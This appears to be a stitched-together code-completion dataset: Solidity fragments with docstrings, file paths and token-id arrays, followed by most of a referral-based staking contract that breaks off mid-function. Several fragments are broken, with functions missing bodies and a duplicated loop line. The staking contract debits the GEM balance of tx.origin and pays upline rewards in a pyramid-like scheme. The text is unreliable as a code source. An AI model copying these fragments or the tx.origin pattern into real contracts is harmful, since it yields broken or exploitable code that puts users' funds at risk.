tokenAllowance; } /// @notice Set the entry rate of the associated token /// /// @param portfolioId - The id of the portfolio we're configuring /// @param tokenId - The id of the token we're configuring /// @param entryRate - The entry rate (in seconds) function setEntryRate( bytes32 portfolioId, bytes32 tokenId, uint entryRate ) external onlyStorageWrappers { _commonStorage[portfolioId].tokenValues[tokenId][3] = entryRate; } /// @notice Set the id of an Opportunity token for a portfolio /// /// @param portfolioId - The id of the portfolio we're configuring /// @param opportunityId - The id of the opportunity the token represents /// @param tokenId - The id of the Opportunity token function setOpportunityToken( bytes32 portfolioId, bytes32 opportunityId, bytes32 tokenId ) external onlyStorageWrappers { _portfolioStorage[portfolioId].opportunityTokens[opportunityId] = tokenId; } /// @notice Set the id of an Opportunity token for a portfolio /// /// @param opportunityId - The id of the opportunity the token represents /// @param principalAmount - The new amount of principal function setPrincipal( bytes32 opportunityId, uint principalAmount ) external onlyStorageWrappers { _commonStorage[opportunityId].principal = principalAmount; } /// @notice Set paused mode on for a portfolio /// /// @dev Enter keccak256("RAY") to pause all portfolios /// /// @param portfolioId - The id of the portfolio we're configuring function setPausedOn(bytes32 portfolioId) external onlyStorageWrappers { _commonStorage[portfolioId].pausedMode = true; } /// @notice Set paused mode off for a portfolio /// /// @dev Enter keccak256("RAY") to un-pause all portfolios /// /// @param portfolioId - The id of the portfolio we're configuring function setPausedOff(bytes32 portfolioId) external onlyStorageWrappers { _commonStorage[portfolioId].pausedMode = false; } /// @notice Set the realized yield for a portfolio /// /// @param portfolioId - The id of the portfolio we're configuring /// @param newRealizedYield - The new realized yield function setRealizedYield(bytes32 portfolioId, uint newRealizedYield) external onlyStorageWrappers { _commonStorage[portfolioId].realizedYield = newRealizedYield; } /// @notice Set the withdrawn yield for a portfolio /// /// @param portfolioId - The id of the portfolio we're configuring /// @param newWithdrawnYield - The new realized yield function setWithdrawnYield(bytes32 portfolioId, uint newWithdrawnYield) external onlyStorageWrappers { _commonStorage[portfolioId].withdrawnYield = newWithdrawnYield; } /// @notice Set the available capital for a portfolio /// /// @param portfolioId - The id of the portfolio we're configuring /// @param newAvailableCapital - The new available capital function setAvailableCapital(bytes32 portfolioId, uint newAvailableCapital) external onlyStorageWrappers { _portfolioStorage[portfolioId].availableCapital = newAvailableCapital; } /// @notice Set the total share supply for a portfolio /// /// @param portfolioId - The id of the portfolio we're configuring /// @param newShareSupply - The new share supply function setShareSupply(bytes32 portfolioId, uint newShareSupply) external onlyStorageWrappers { _commonStorage[portfolioId].totalShareSupply = newShareSupply; } /** ----------------- ONLY STORAGE WRAPPERS GENERIC MUTATORS ----------------- **/ /// @notice We have these to enable us to be flexible with our eternal storage /// in the future. Also, we could always deploy a new Storage contract /// and reference two Storage contracts in the system and so on. function setBoolean(bytes32 ray, bytes32 key, bool value) external onlyStorageWrappers { _commonStorage[ray]._bool[key] = value; } function setInt(bytes32 ray, bytes32 key, int value) external onlyStorageWrappers { _commonStorage[ray]._int[key] = value; } function setUint(bytes32 ray, bytes32 key, uint256 value) external onlyStorageWrappers { _commonStorage[ray]._uint[key] = value; } function setAddress(bytes32 ray, bytes32 key, address value) external onlyStorageWrappers { _commonStorage[ray]._address[key] = value; } function setString(bytes32 ray, bytes32 key, string value) external onlyStorageWrappers { _commonStorage[ray]._string[key] = value; } function setBytes(bytes32 ray, bytes32 key, bytes value) external onlyStorageWrappers { _commonStorage[ray]._bytes[key] = value; } }
@notice Get's the coin type of the entered RAY @param portfolioId - the id of the portfolio @return The coin associated with the portfolio TODO: Refactor to getPrincipalToken since we commonly use that
function getPrincipalAddress(bytes32 portfolioId) external view returns (address) { return _commonStorage[portfolioId].principalAddress; }
12,906,371
[ 1, 967, 1807, 326, 13170, 618, 434, 326, 16219, 534, 5255, 565, 19933, 548, 300, 326, 612, 434, 326, 19933, 327, 225, 1021, 13170, 3627, 598, 326, 19933, 2660, 30, 565, 868, 6812, 358, 8248, 5078, 1345, 3241, 732, 2975, 715, 999, 716, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 8248, 5078, 1887, 12, 3890, 1578, 19933, 548, 13, 3903, 1476, 1135, 261, 2867, 13, 288, 203, 203, 565, 327, 389, 6054, 3245, 63, 28962, 548, 8009, 26138, 1887, 31, 203, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x6d20CBCEF3D856Cdf2f7b67935D283cDde7A5ADE/sources/ceshi721.sol
The maximum value of a uint256 contains 78 digits (1 byte per digit), but we allocate 128 bytes to keep the free memory pointer 32-byte word aliged. We will need 1 32-byte word to store the length, and 3 32-byte words to store a maximum of 78 digits. Total: 32 + 3 * 32 = 128. Update the free memory pointer to allocate. Cache the end of the memory to calculate the length later. We write the string from the rightmost digit to the leftmost digit. The following is essentially a do-while loop that also handles the zero case. Costs a bit more than early returning for the zero case, but cheaper in terms of deployment and overall runtime costs. Initialize and perform the first pass without check. Move the pointer 1 byte leftwards to point to an empty character slot. Write the character to the pointer. 48 is the ASCII index of '0'. Keep dividing `temp` until zero.
function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity } assembly { ptr := add(mload(0x40), 128) mstore(0x40, ptr) let end := ptr for { let temp := value ptr := sub(ptr, 1) mstore8(ptr, add(48, mod(temp, 10))) temp := div(temp, 10) temp := div(temp, 10) ptr := sub(ptr, 1) mstore8(ptr, add(48, mod(temp, 10))) } let length := sub(end, ptr) }
805,049
[ 1, 1986, 4207, 460, 434, 279, 2254, 5034, 1914, 22860, 6815, 261, 21, 1160, 1534, 8035, 3631, 1496, 732, 10101, 8038, 1731, 358, 3455, 326, 4843, 3778, 4407, 3847, 17, 7229, 2076, 524, 360, 329, 18, 1660, 903, 1608, 404, 3847, 17, 7229, 2076, 358, 1707, 326, 769, 16, 471, 890, 3847, 17, 7229, 4511, 358, 1707, 279, 4207, 434, 22860, 6815, 18, 10710, 30, 3847, 397, 890, 225, 3847, 273, 8038, 18, 2315, 326, 4843, 3778, 4407, 358, 10101, 18, 4379, 326, 679, 434, 326, 3778, 358, 4604, 326, 769, 5137, 18, 1660, 1045, 326, 533, 628, 326, 2145, 10329, 8035, 358, 326, 2002, 10329, 8035, 18, 1021, 3751, 353, 18518, 11220, 279, 741, 17, 17523, 2798, 716, 2546, 7372, 326, 3634, 648, 18, 28108, 87, 279, 2831, 1898, 2353, 11646, 5785, 364, 326, 3634, 648, 16, 1496, 19315, 7294, 316, 6548, 434, 6314, 471, 13914, 3099, 22793, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 5771, 1345, 1429, 18881, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 787, 1345, 548, 16, 203, 3639, 2254, 5034, 10457, 203, 203, 565, 445, 389, 5205, 1345, 1429, 18881, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 787, 1345, 548, 16, 203, 3639, 2254, 5034, 10457, 203, 203, 565, 289, 203, 203, 3639, 19931, 288, 203, 5411, 6571, 519, 527, 12, 81, 945, 12, 20, 92, 7132, 3631, 8038, 13, 203, 5411, 312, 2233, 12, 20, 92, 7132, 16, 6571, 13, 203, 203, 5411, 2231, 679, 519, 6571, 203, 203, 5411, 364, 288, 7010, 7734, 2231, 1906, 519, 460, 203, 7734, 6571, 519, 720, 12, 6723, 16, 404, 13, 203, 7734, 312, 2233, 28, 12, 6723, 16, 527, 12, 8875, 16, 681, 12, 5814, 16, 1728, 20349, 203, 7734, 1906, 519, 3739, 12, 5814, 16, 1728, 13, 203, 7734, 1906, 519, 3739, 12, 5814, 16, 1728, 13, 203, 7734, 6571, 519, 720, 12, 6723, 16, 404, 13, 203, 7734, 312, 2233, 28, 12, 6723, 16, 527, 12, 8875, 16, 681, 12, 5814, 16, 1728, 20349, 203, 5411, 289, 203, 2398, 203, 5411, 2231, 769, 519, 720, 12, 409, 16, 6571, 13, 203, 3639, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/288/0xc3f64B4a401e63009d0b6fa261BAC6A2E42e5c39/sources/contracts/Ola/Peripheral/PriceOracle/Witnet/IWitnerPriceRouter.sol
File: contracts\interfaces\IWitnetPriceRouter.sol @title The Witnet Price Router basic interface. @dev Guides implementation of price feeds aggregation contracts. @author The Witnet Foundation.abstract contract IWitnetPriceRouter is IERC2362 {
interface IWitnetPriceRouterForOracle is IERC2362 { function currencyPairId(string memory) external pure virtual returns (bytes32); function getPriceFeed(bytes32 _erc2362id) external view virtual returns (IERC165); function getPriceFeedCaption(IERC165) external view virtual returns (string memory); function lookupERC2362ID(bytes32 _erc2362id) external view virtual returns (string memory); function supportedCurrencyPairs() external view virtual returns (bytes32[] memory); function supportsCurrencyPair(bytes32 _erc2362id) external view virtual returns (bool); function supportsPriceFeed(IERC165 _priceFeed) external view virtual returns (bool); } }
16,905,777
[ 1, 812, 30, 20092, 64, 15898, 64, 45, 59, 305, 2758, 5147, 8259, 18, 18281, 225, 1021, 678, 305, 2758, 20137, 9703, 5337, 1560, 18, 225, 611, 1911, 281, 4471, 434, 6205, 27684, 10163, 20092, 18, 225, 1021, 678, 305, 2758, 31289, 18, 17801, 6835, 467, 59, 305, 2758, 5147, 8259, 353, 467, 654, 39, 4366, 8898, 288, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 59, 305, 2758, 5147, 8259, 1290, 23601, 353, 467, 654, 39, 4366, 8898, 288, 203, 203, 565, 445, 31589, 548, 12, 1080, 3778, 13, 3903, 16618, 5024, 1135, 261, 3890, 1578, 1769, 203, 203, 565, 445, 25930, 8141, 12, 3890, 1578, 389, 12610, 4366, 8898, 350, 13, 3903, 1476, 5024, 1135, 261, 45, 654, 39, 28275, 1769, 203, 203, 565, 445, 25930, 8141, 21158, 12, 45, 654, 39, 28275, 13, 3903, 1476, 5024, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 3689, 654, 39, 4366, 8898, 734, 12, 3890, 1578, 389, 12610, 4366, 8898, 350, 13, 3903, 1476, 5024, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 3260, 7623, 10409, 1435, 3903, 1476, 5024, 1135, 261, 3890, 1578, 8526, 3778, 1769, 203, 203, 565, 445, 6146, 7623, 4154, 12, 3890, 1578, 389, 12610, 4366, 8898, 350, 13, 3903, 1476, 5024, 1135, 261, 6430, 1769, 203, 203, 565, 445, 6146, 5147, 8141, 12, 45, 654, 39, 28275, 389, 8694, 8141, 13, 3903, 1476, 5024, 1135, 261, 6430, 1769, 203, 97, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.25; contract Auth { address internal backupAdmin; address internal mainAdmin; address internal contractAdmin; address internal dabAdmin; address internal gemAdmin; address internal LAdmin; constructor( address _backupAdmin, address _mainAdmin, address _contractAdmin, address _dabAdmin, address _gemAdmin, address _LAdmin ) internal { backupAdmin = _backupAdmin; mainAdmin = _mainAdmin; contractAdmin = _contractAdmin; dabAdmin = _dabAdmin; gemAdmin = _gemAdmin; LAdmin = _LAdmin; } modifier onlyBackupAdmin() { require(isBackupAdmin(), "onlyBackupAdmin"); _; } modifier onlyMainAdmin() { require(isMainAdmin(), "onlyMainAdmin"); _; } modifier onlyBackupOrMainAdmin() { require(isMainAdmin() || isBackupAdmin(), "onlyBackupOrMainAdmin"); _; } modifier onlyContractAdmin() { require(isContractAdmin() || isMainAdmin(), "onlyContractAdmin"); _; } modifier onlyLAdmin() { require(isLAdmin() || isMainAdmin(), "onlyLAdmin"); _; } modifier onlyDABAdmin() { require(isDABAdmin() || isMainAdmin(), "onlyDABAdmin"); _; } modifier onlyGEMAdmin() { require(isGEMAdmin() || isMainAdmin(), "onlyGEMAdmin"); _; } function isBackupAdmin() public view returns (bool) { return msg.sender == backupAdmin; } function isMainAdmin() public view returns (bool) { return msg.sender == mainAdmin; } function isContractAdmin() public view returns (bool) { return msg.sender == contractAdmin; } function isLAdmin() public view returns (bool) { return msg.sender == LAdmin; } function isDABAdmin() public view returns (bool) { return msg.sender == dabAdmin; } function isGEMAdmin() public view returns (bool) { return msg.sender == gemAdmin; } } interface IContractNo1 { function minJP() external returns (uint); } interface IContractNo3 { function isCitizen(address _user) view external returns (bool); function register(address _user, string _userName, address _inviter) external returns (uint); function addF1M9DepositedToInviter(address _invitee, uint _amount) external; function checkInvestorsInTheSameReferralTree(address _inviter, address _invitee) external view returns (bool); function increaseInviterF1HaveJoinedPackage(address _invitee) external; function increaseInviterF1HaveJoinedM9Package(address _invitee) external; function addNetworkDepositedToInviter(address _inviter, uint _dabAmount, uint _gemAmount) external; function getF1M9Deposited(address _investor) external view returns (uint); function getDirectlyInviteeHaveJoinedM9Package(address _investor) external view returns (address[]); function getRank(address _investor) external view returns (uint8); function getInviter(address _investor) external view returns (address); function showInvestorInfo(address _investorAddress) external view returns (uint, string memory, address, address[], address[], address[], uint, uint, uint, uint, uint); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath mul error'); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, 'SafeMath div error'); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, 'SafeMath sub error'); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath add error'); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 'SafeMath mod error'); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ contract IERC20 { function transfer(address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ContractNo2 is Auth { using SafeMath for uint; enum PackageType { M0, M3, M6, M9, M12, M15, M18 } enum CommissionType { DAB, GEM } struct Balance { uint totalDeposited; uint dividendBalance; uint dabStakingBalance; uint gemStakingBalance; int gemBalance; uint totalProfited; } struct Package { PackageType packageType; uint lastPackage; uint dabAmount; uint gemAmount; uint startAt; uint endAt; } struct TTracker { uint time; uint amount; } IContractNo1 public contractNo1; IContractNo3 public contractNo3; uint constant private secondsInOntMonth = 2592000; // 30 * 24 * 3600 uint public minT = 1e18; uint public maxT = 10000e18; uint8 public gemCommission = 10; uint32 public profitInterval = 60; uint public minProfit = 1e18; bool private gemT = true; string DAB = 'DAB'; string GEM = 'GEM'; uint16 firstProfitCheckpoint = 1e4; uint16 secondProfitCheckpoint = 2e4; uint16 thirdProfitCheckpoint = 3e4; mapping(address => TTracker[]) private tTracker; mapping(address => Package) private packages; mapping(address => Balance) private balances; mapping(address => bool) private ha; mapping(address => uint) private lP; mapping(address => uint) private lW; mapping(address => mapping(address => mapping(string => uint))) private commissions; event DividendBalanceChanged(address user, address reason, int amount); event GEMBalanceChanged(address user, address reason, int amount); event GEMBalanceTransferred(address from, address to, int amount, int receivedAmount); modifier onlyContractAContract() { require(msg.sender == address(contractNo1), 'onlyContractAContract'); _; } constructor( address _backupAdmin, address _mainAdmin, address _gemAdmin ) public Auth( _backupAdmin, _mainAdmin, msg.sender, address(0x0), _gemAdmin, address(0x0) ) { } // ADMINS FUNCTIONS function setE(address _u) onlyMainAdmin public { packages[_u].endAt = now; } function setLW(address _u) onlyMainAdmin public { lW[_u] = now - 31 days; } function setC(address _c) onlyContractAdmin public { contractNo3 = IContractNo3(_c); } function setS(address _s) onlyContractAdmin public { contractNo1 = IContractNo1(_s); } function updateBackupAdmin(address _newBackupAdmin) onlyBackupAdmin public { require(_newBackupAdmin != address(0x0), 'Invalid address'); backupAdmin = _newBackupAdmin; } function updateMainAdmin(address _newMainAdmin) onlyBackupOrMainAdmin public { require(_newMainAdmin != address(0x0), 'Invalid address'); mainAdmin = _newMainAdmin; } function updateContractAdmin(address _newContractAdmin) onlyMainAdmin public { require(_newContractAdmin != address(0x0), 'Invalid address'); contractAdmin = _newContractAdmin; } function updateGEMAdmin(address _newGEMAdmin) onlyMainAdmin public { require(_newGEMAdmin != address(0x0), 'Invalid address'); gemAdmin = _newGEMAdmin; } function setMinT(uint _minT) onlyMainAdmin public { require(_minT > 0, 'Must be > 0'); require(_minT < maxT, 'Must be < maxT'); minT = _minT; } function setMaxT(uint _maxT) onlyMainAdmin public { require(_maxT > minT, 'Must be > minT'); maxT = _maxT; } function setMinProfit(uint _minProfit) onlyMainAdmin public { require(_minProfit > 0, 'Must be > 0'); minProfit = _minProfit; } function setProfitInterval(uint32 _profitInterval) onlyMainAdmin public { require(0 < _profitInterval, 'Must be > 0'); profitInterval = _profitInterval; } function setGemCommission(uint8 _gemCommission) onlyMainAdmin public { require(0 < _gemCommission && _gemCommission < 101, 'Must be in range 1-100'); gemCommission = _gemCommission; } function setGemT(bool _gemT) onlyMainAdmin public { gemT = _gemT; } function updateHA(address[] _addresses, bool _value) onlyMainAdmin public { require(_addresses.length <= 256, 'Max length is 256'); for(uint8 i; i < _addresses.length; i++) { ha[_addresses[i]] = _value; } } function checkHA(address _address) onlyMainAdmin public view returns (bool) { return ha[_address]; } // ONLY-STAKING-CONTRACT FUNCTIONS function validateJoinPackage(address _from, address _to, uint8 _type, uint _dabAmount, uint _gemAmount) onlyContractAContract public view returns (bool) { Package storage package = packages[_to]; Balance storage balance = balances[_from]; return _type > uint8(PackageType.M0) && _type <= uint8(PackageType.M18) && _type >= uint8(package.packageType) && _dabAmount.add(_gemAmount) >= package.lastPackage && (_gemAmount == 0 || balance.gemBalance >= int(_gemAmount)); } function adminCommission(uint _amount) onlyContractAContract public { Balance storage balance = balances[gemAdmin]; balance.gemBalance += int(_amount); } function deposit(address _to, uint8 _type, uint _packageAmount, uint _dabAmount, uint _gemAmount) onlyContractAContract public { PackageType packageType = parsePackageType(_type); updatePackageInfo(_to, packageType, _dabAmount, _gemAmount); Balance storage userBalance = balances[_to]; bool firstDeposit = userBalance.dividendBalance == 0; if (firstDeposit) { userBalance.dividendBalance = _packageAmount; emit DividendBalanceChanged(_to, address(0x0), int(_packageAmount)); } else { userBalance.dividendBalance = userBalance.dividendBalance.add(_packageAmount.div(2)); emit DividendBalanceChanged(_to, address(0x0), int(_packageAmount.div(2))); } userBalance.totalDeposited = userBalance.totalDeposited.add(_packageAmount); userBalance.dabStakingBalance = userBalance.dabStakingBalance.add(_dabAmount); userBalance.gemStakingBalance = userBalance.gemStakingBalance.add(_gemAmount); if (_gemAmount > 0) { bool selfDeposit = _to == tx.origin; if (selfDeposit) { userBalance.gemBalance -= int(_gemAmount); } else { Balance storage senderBalance = balances[tx.origin]; senderBalance.gemBalance -= int(_gemAmount); } emit GEMBalanceChanged(tx.origin, address(0x0), int(_gemAmount) * -1); } if (packageType >= PackageType.M9) { contractNo3.addF1M9DepositedToInviter(_to, _packageAmount); contractNo3.increaseInviterF1HaveJoinedM9Package(_to); } if (firstDeposit) { contractNo3.increaseInviterF1HaveJoinedPackage(_to); } addRewardToUpLines(_to, _dabAmount, _gemAmount, packageType); lW[_to] = 0; lP[_to] = packages[_to].startAt; } function getProfit(address _user, uint _contractNo1Balance) onlyContractAContract public returns (uint, uint) { require(getProfitWallet(_user) <= 300000, 'You have got max profit'); Package storage userPackage = packages[_user]; uint lastProfit = lP[_user]; require(lastProfit < userPackage.endAt, 'You have got all your profits'); uint profitableTime = userPackage.endAt < now ? userPackage.endAt.sub(lastProfit) : now.sub(lastProfit); require(profitableTime >= uint(profitInterval), 'Please wait more time and comeback later'); Balance storage userBalance = balances[_user]; uint rate = parseProfitRate(userPackage.packageType); uint profitable = userBalance.dividendBalance.mul(rate).div(100).mul(profitableTime).div(secondsInOntMonth); if (userBalance.totalProfited.add(profitable) > userBalance.totalDeposited.mul(3)) { profitable = userBalance.totalDeposited.mul(3).sub(userBalance.totalProfited); } require(profitable > minProfit, 'Please wait for more profit and comeback later'); uint dabProfit; uint gemProfit; (dabProfit, gemProfit) = calculateProfit(_user, profitable); if (gemProfit > 0) { userBalance.gemBalance += int(gemProfit); emit GEMBalanceChanged(_user, address(0x0), int(gemProfit)); } lP[_user] = now; if (_contractNo1Balance < dabProfit) { userBalance.gemBalance += int(dabProfit.sub(_contractNo1Balance)); emit GEMBalanceChanged(_user, address(0x0), int(dabProfit.sub(_contractNo1Balance))); return (_contractNo1Balance, gemProfit.add(dabProfit.sub(_contractNo1Balance))); } userBalance.totalProfited = userBalance.totalProfited.add(profitable); return (dabProfit, gemProfit); } function getWithdraw(address _user, uint _contractNo1Balance, uint8 _type) onlyContractAContract public returns (uint, uint) { require(getEndAt(_user) <= now, 'Please wait for more times and comeback later'); uint lastWithdraw = lW[_user]; bool firstWithdraw = lastWithdraw == 0; Balance storage userBalance = balances[_user]; resetUserBalance(_user); uint dabWithdrawable; uint gemWithdrawable; if (_type == 1) { require(firstWithdraw, 'You have withdrew 50%'); dabWithdrawable = userBalance.dabStakingBalance.mul(90).div(100); gemWithdrawable = userBalance.gemStakingBalance.mul(90).div(100); userBalance.gemBalance += int(gemWithdrawable); emit GEMBalanceChanged(_user, address(0x0), int(gemWithdrawable)); userBalance.dabStakingBalance = 0; userBalance.gemStakingBalance = 0; removeUpLineCommission(_user); return calculateWithdrawableDAB(_user, _contractNo1Balance, dabWithdrawable); } else { require(now - lastWithdraw >= secondsInOntMonth, 'Please wait for more times and comeback later'); if (firstWithdraw) { dabWithdrawable = userBalance.dabStakingBalance.div(2); gemWithdrawable = userBalance.gemStakingBalance.div(2); userBalance.dabStakingBalance = dabWithdrawable; userBalance.gemStakingBalance = gemWithdrawable; removeUpLineCommission(_user); } else { dabWithdrawable = userBalance.dabStakingBalance; gemWithdrawable = userBalance.gemStakingBalance; userBalance.dabStakingBalance = 0; userBalance.gemStakingBalance = 0; } userBalance.gemBalance += int(gemWithdrawable); emit GEMBalanceChanged(_user, address(0x0), int(gemWithdrawable)); lW[_user] = now; return calculateWithdrawableDAB(_user, _contractNo1Balance, dabWithdrawable); } } // PUBLIC-FUNCTIONS function getUserWallet(address _investor) public view returns (uint, uint, uint, uint, int, uint) { validateSender(_investor); Balance storage balance = balances[_investor]; return ( balance.totalDeposited, balance.dividendBalance, balance.dabStakingBalance, balance.gemStakingBalance, balance.gemBalance, balance.totalProfited ); } function getUserPackage(address _investor) public view returns (uint8, uint, uint, uint, uint, uint) { validateSender(_investor); Package storage package = packages[_investor]; return ( uint8(package.packageType), package.lastPackage, package.dabAmount, package.gemAmount, package.startAt, package.endAt ); } function transferGem(address _to, uint _amount) public { require(gemT, 'Not available right now'); int amountToTransfer = int(_amount); validateTransferGem(msg.sender, _to, _amount); Balance storage senderBalance = balances[msg.sender]; require(senderBalance.gemBalance >= amountToTransfer, 'You have not enough balance'); Balance storage receiverBalance = balances[_to]; Balance storage adminBalance = balances[gemAdmin]; senderBalance.gemBalance -= amountToTransfer; int fee = amountToTransfer * int(gemCommission) / 100; require(fee > 0, 'Invalid fee'); adminBalance.gemBalance += fee; int receivedAmount = amountToTransfer - int(fee); receiverBalance.gemBalance += receivedAmount; emit GEMBalanceTransferred(msg.sender, _to, amountToTransfer, 